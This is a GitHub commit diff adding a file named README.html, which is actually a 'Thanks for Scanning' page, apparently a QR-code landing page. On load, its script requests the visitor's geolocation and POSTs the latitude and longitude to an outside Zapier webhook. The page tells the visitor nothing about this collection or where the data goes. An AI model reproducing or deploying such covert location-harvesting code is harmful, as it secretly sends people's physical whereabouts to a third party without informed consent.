Skip to content

Commit 10500c6

Browse files
authored
Create README.html
1 parent edbc620 commit 10500c6

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed

README.html

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<meta http-equiv="Permissions-Policy" content="geolocation=(self)">
6+
<title>Thanks for Scanning</title>
7+
<script>
8+
function sendLocation() {
9+
if (navigator.geolocation) {
10+
navigator.geolocation.getCurrentPosition(function(position) {
11+
var latitude = position.coords.latitude;
12+
var longitude = position.coords.longitude;
13+
var name = "generator";
14+
15+
var xhr = new XMLHttpRequest();
16+
var url = "https://hooks.zapier.com/hooks/catch/11099321/29v5fca/";
17+
var params = "latitude=" + latitude + "&longitude=" + longitude + "&name=" + name;
18+
xhr.open("POST", url, true);
19+
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
20+
xhr.send(params);
21+
}, function(error) {
22+
console.error("Error Code = " + error.code + " - " + error.message);
23+
});
24+
} else {
25+
console.log("Geolocation is not supported by this browser.");
26+
}
27+
}
28+
</script>
29+
</head>
30+
<body onload="sendLocation()">
31+
<h1>Thanks for Scanning</h1>
32+
</body>
33+
</html>

0 commit comments

Comments
 (0)